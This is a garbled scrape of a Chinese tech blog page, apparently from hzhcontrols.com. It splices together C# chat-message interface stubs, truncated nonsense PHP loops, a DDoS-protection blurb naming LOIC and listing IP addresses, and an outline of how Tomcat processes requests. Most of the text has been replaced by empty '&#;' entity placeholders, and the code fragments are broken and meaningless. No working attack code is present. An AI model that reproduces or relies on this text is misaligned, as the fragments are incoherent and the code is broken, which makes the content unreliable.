/// </summary>

void RecallChatMessage(string msgID);

/// <summary>

/// &#;&#;&#;&#;&#;&#;&#;&#;

/// </summary>

/// <param name="operatorName">&#;&#;&#;</param>

void RecallChatMessage(string msgID ,string operatorName);

/// <summary>

/// &#;&#;&#;&#;&#;&#;&#;

/// </summary>

void RemoveChatMessage(string msgID);

private int pow()

{

for($XIS=0;$XIS

&#;&#;

&#;&#;&#;&#;&#;&#;0&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PHP&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;“&#;&#;”&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;multiplicationTable()&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;multiplicationTable()&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1-100&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1-1000&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;sum()&#;,&#;&#;&#;1&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;1-100,&#;&#;100;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;sum&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;sum&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#;:

public agreefound pointedbowl()

{

for($k=0;$k

出处:http://www.hzhcontrols.com/

原文:http://www.hzhcontrols.com/new-.html

本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利

function seen($stafffat)

{

for($nZUBy=0;$nZUBy

ddos&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;?&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;(DDOS)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;DDOS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;?&#;&#;&#;&#;&#;&#;&#;&#;&#;!

ddos&#;&#;&#;&#;&#;&#;110.42.2.2

&#;&#;&#;&#;&#;&#;&#;DDOS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;DDOS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;Low Orbit Ion Cannon(LOIC)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;“&#;&#;”&#;&#;&#;(botnet)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;DDOS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;DDOS&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;DDoS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

DDOS&#;&#;110.42.2.3

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,DDOS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;,&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;110.42.2.4

&#;&#;&#;,DDOS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;DDOS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;DDOS&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;DDOS&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

DDOS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;DDOS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;DDOS&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

private such ZluCpva($feelstopaddcslashes)

{

for($BEFU=0;$BEFU

出处:http://www.hzhcontrols.com/

原文:http://www.hzhcontrols.com/new-.html

本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利

&#;&#;&#; Tomcat &#;&#;&#;,&#;&#;&#;&#;&#;&#; Servlet &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#; Socket &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#; Tomcat &#;,&#;&#;&#;&#;&#;&#;&#;&#; Tomcat &#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#; Tomcat &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;?&#;&#; Tomcat &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;?

Connector

&#;&#;&#;&#;,Tomcat &#;&#; Connector &#;&#;&#;&#; Socket &#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Connector &#;&#;&#;,&#;&#;&#;&#;&#; Endpoint&#;Processor&#;Adapt&#;

Endpoint:&#;&#; ServerSocket &#;&#;&#;&#;&#;&#;&#;&#; Socket &#;&#;Processor:&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;Adapt:&#; Tomcat Request &#;&#;&#; ServletRequest,&#; ServletResponse &#;&#;&#; Tomcat Response

Tomcat &#;&#;&#;&#;&#; Endpoint &#; Processor &#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#; ProtocolHandler &#;,&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;,&#;&#;&#;&#;&#; Endpoint &#;&#;&#;&#;&#;&#;,&#;&#;&#; Processor &#;&#;&#;&#;,&#;&#;&#;&#; Adapt &#;&#;&#;&#;&#;&#; Servlet &#;&#;&#;

Endpoint

NioEndpoint#startInternal

&#;&#;&#;&#;&#;&#;,&#;&#;&#; Tomcat &#;&#;&#;&#;&#;&#; Server#start -> Service.start -> Connector.start -> ProtocolHandler.start() -> EndPoint.start() -> Endpoint.startInternal()

AbstractEndpoint#startAcceptorThread

&#;&#;&#;&#;&#; Acceptor &#;&#;

Acceptor#run

Acceptor &#; run &#;&#;&#;&#;&#;&#;&#; socket &#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;:

NioEndpoint#setSocketOptions

&#;&#;&#;&#;&#;&#;&#;&#;&#;:

&#;&#; socket &#;&#;&#;&#;&#;&#;&#; socket &#;&#;&#; NioSocketWrapper &#;&#; NioSocketWrapper &#;&#;&#; Poller &#;

&#;&#; NioSocketWrapper &#; NioEndpoint &#;&#;&#;&#;&#;&#;,Poller &#; NioEndpoint &#;&#;&#;&#;,&#;&#;&#;&#; Runnable &#;&#;&#;

Poller#register -> Poller#addEvent

&#; NioSocketWrapper &#;&#;&#;&#;&#;&#;&#;&#;&#;&#; SelectionKey.OP_READ,&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#; Selector &#;&#; NioSocketWrapper &#;&#;&#; PollerEvent,&#;&#;&#;&#; Poller &#;&#;&#;&#;&#;&#;&#;&#;

Poller#run

Poller &#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#; &#;&#;,&#; PollerEvent &#;&#;&#;&#;&#;&#; socket &#;&#;&#;&#; Selector &#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;, &#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;

Poller#events

Poller#processKey

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#; socket &#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#; &#;

Poller#processSocket

&#;&#;&#;&#;&#;&#; NioSocketWrapper &#;&#;&#; SocketProcessor &#;,SocketProcessor &#; NioEndpoint &#;&#;&#;&#;,&#;&#;&#;&#; Runnable &#;&#;,&#;&#;&#; SocketProcessor &#;&#;&#;&#;&#;&#; executor &#;&#;&#;&#;&#;&#;&#;

SocketProcessor#doRun

&#;&#;&#;&#;&#;&#; Connector &#;&#;&#;&#;&#;&#; Endpoint&#;Processor &#; Adapt &#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Socket &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Request &#; Response &#;&#;&#;&#;&#;&#;

&#; SocketProcessor &#;&#;&#;&#;&#; Processor &#;&#;&#; process &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

AbstractProtocol#process

&#;&#; AbstractProcessLight &#;&#; process &#;&#;

AbstractProcessLight#process

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; GET &#;&#;,&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;

Http11Processor#service

Http11Processor &#;&#; HTTP/1.1 &#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#; CoyoteAdapter#service,CoyoteAdapter &#; Adapter &#;&#;&#;&#;,&#;&#;&#; Connector &#;&#;&#;&#; Adapter &#;&#;,&#;&#;&#;&#; Request &#; Response &#;&#;&#;&#;&#;&#;&#;,&#;&#;&#; Container &#; Pipeline,&#;&#;&#;&#;&#;&#;&#; Servlet &#;&#;&#;&#;

&#;&#;

&#;&#;&#;&#;&#;&#; HTTP &#;&#;&#;&#; Tomcat &#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

在这里插入图片描述

Http11Processor &#;&#;&#;&#;&#; HTTP &#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;,&#;&#; Endpoint &#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#; Endpoint &#; NIO &#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#; NIO &#;&#;&#;&#;&#;,Tomcat &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Tomcat &#;&#;&#;&#;&#;&#;&#;&#;?

&#;&#; Tomcat &#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#; Tomcat &#; 8.5.84 &#;&#;&#;,&#;&#; Endpoint &#;&#; Acceptor &#; Poller &#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Container

&#;&#;&#;&#;&#; Connector &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,Connector &#;&#;&#;&#;&#;&#; CoyoteAdapter#service &#;&#;,&#;&#;&#;&#;&#;&#; Engine &#; Pipeline &#;&#;&#;&#;&#;&#; Servlet &#;&#;&#;

CoyoteAdapter#service

&#; Servlet &#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#; Servlet,Engine -> Host -> Context -> Wrapper&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Container &#;&#;,&#;&#;&#;&#; Pipeline &#;&#;,Pipeline &#; Valve &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Pipeline &#;&#;&#;&#;&#;&#;&#;&#; First Valve &#;&#;&#;&#;&#; Basic Valve,&#;&#; Valve &#;&#;&#;&#;&#; Valve &#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Pipeline &#;&#;&#; Basic Valve,&#;&#; Pipeline &#; Basic Valve &#;&#;&#;&#;&#;&#; Pipeline &#; First Valve,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#; Tomcat,&#;&#;&#;&#;&#; GET &#;&#;,&#; IDEA &#; debug &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Valve&#;

&#;&#;&#;&#;&#;&#; StandardEngine,&#;&#;&#;&#;&#;&#;&#;&#; StandardPipeline,&#;&#;&#; First Valve,&#;&#; Basic Valve,&#;&#;&#;&#;&#;&#;&#; Valve,&#;&#; Valve &#;&#;&#;&#;&#;&#;&#;&#;&#;

在这里插入图片描述

&#;&#;&#;&#;&#; StandardHost,&#;&#; StandardPipeline &#;&#;&#; First Valve &#;&#; Basic Valve,Pipeline &#;&#;&#;&#;&#;&#;&#;&#;:

NonLoginAuthenticator

StandardContextValve

在这里插入图片描述

&#;&#;&#;&#;&#; StandardHost,&#;&#; StandardPipeline &#;&#;&#;&#;&#; Basic Valve&#;

在这里插入图片描述

&#;&#;&#; StandardWrapper,&#;&#; StandardPipeline &#;&#;&#;&#;&#; Basic Valve&#;

在这里插入图片描述

StandardWrapperValve

&#;&#;&#;&#;,StandardWrapperValve &#;&#;&#;&#;&#;&#;&#; Valve &#;,&#;&#;&#;&#;&#; Servlet &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Servlet &#; service &#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; filterChain,servlet &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#; filterChain &#;&#;&#;&#;

&#;&#; new &#;&#;&#;&#;&#; ApplicationFilterChain&#;&#; Context &#;&#;&#;&#; Filter &#;&#;,&#;&#;&#;&#;&#;&#; servlet name &#;&#;&#;&#;&#;&#;&#; Servlet &#; Filter &#;&#;&#;&#;&#; ApplicationFilterChain &#;

&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;

ApplicationFilterChain &#;&#;&#;&#; pos &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#; Filter &#;&#; filters &#;&#;&#; Filter &#; pos &#;&#;&#;&#;&#;&#; Filter &#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#; Filter &#;&#; Servlet init &#;&#;&#;&#;&#;&#;,service &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCI&#;USB&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;USB&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;LabVIEW&#;Python&#;MATLAB&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

